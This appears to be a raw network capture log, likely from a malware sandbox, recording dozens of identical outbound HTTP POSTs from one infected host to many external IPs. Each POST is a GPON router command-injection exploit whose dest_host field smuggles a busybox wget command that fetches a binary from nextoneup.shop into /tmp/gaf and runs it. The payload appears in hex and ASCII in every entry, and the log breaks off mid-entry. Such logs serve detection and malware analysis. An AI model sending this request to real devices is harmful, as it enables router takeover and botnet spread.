XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.23	47488	42.14.81.180	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.110846043 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.23	52576	210.27.135.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.110889912 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.23	35096	37.56.197.103	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.110941887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.23	50086	178.28.218.195	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.111021996 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.23	40426	2.59.99.0	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.111032963 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.23	59522	79.154.29.216	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.111052036 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.23	49786	123.207.154.205	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.111227036 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.23	55444	2.0.111.211	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.111232042 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.23	56842	79.63.148.202	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.111263037 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.23	47730	202.115.215.133	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.111311913 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.23	42814	2.70.214.211	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.111390114 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.23	37200	212.165.112.38	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.111393929 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.23	48276	210.133.134.119	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.111403942 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.23	43760	212.48.54.54	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.111454964 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.23	59236	117.39.131.212	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.111514091 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.23	46438	210.196.103.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.111624002 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.23	46682	178.70.170.179	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.111720085 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.23	34256	117.132.255.181	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.111722946 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.23	43076	109.157.48.82	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.111747980 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.23	40448	118.190.17.246	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.111773014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.23	55950	123.253.199.190	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.111798048 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.23	40980	123.92.137.202	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.111855030 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.23	60008	79.175.48.192	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.112282991 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.23	35010	37.5.227.3	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.112320900 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.23	45750	109.22.195.252	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.112370968 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.23	42720	178.150.57.5	443

Timestamp	Bytes transferred	Direction	Data
